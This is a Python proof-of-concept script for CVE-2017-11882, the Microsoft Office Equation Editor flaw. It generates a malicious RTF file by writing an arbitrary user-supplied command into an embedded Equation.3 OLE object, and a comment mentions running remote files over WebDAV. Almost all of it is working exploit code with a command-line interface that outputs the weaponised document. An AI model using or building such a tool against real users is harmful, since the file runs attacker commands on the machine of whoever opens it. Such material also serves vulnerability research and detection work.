import argparse import sys RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} {\*\generator Riched20 6.3.9600}\viewkind4\uc1 \pard\sa200\sl276\slmult1\f0\fs22\lang9""" RTF_TRAILER = R"""\par} """ OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """ OBJECT_TRAILER = R""" }{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}} {\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}} {\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}} {\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0 \picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02 00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}} """ OBJDATA_TEMPLATE = R""" 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1 b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001 0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 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7cef1800040000002d01010004000000f0010000030000000000 """ COMMAND_OFFSET = 0x949*2 def create_ole_exec_primitive(command): if len(command) > 43: print "[!] Primitive command must be shorter than 43 bytes" sys.exit(0) hex_command = command.encode("hex") objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n") ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):] return OBJECT_HEADER + ole_data + OBJECT_TRAILER def create_rtf(header,command,trailer): ole1 = create_ole_exec_primitive(command + " &") # We need 2 or more commands for executing remote file from WebDAV # because WebClient service start may take some time return header + ole1 + trailer if __name__ == '__main__': parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882") parser.add_argument("-c", "--command", help="Command to execute.", required=True) parser.add_argument('-o', "--output", help="Output exploit rtf", required=True) args = parser.parse_args() rtf_content = create_rtf(RTF_HEADER, args.command ,RTF_TRAILER) output_file = open(args.output, "w") output_file.write(rtf_content) print "[*] Done ! output file --> " + args.output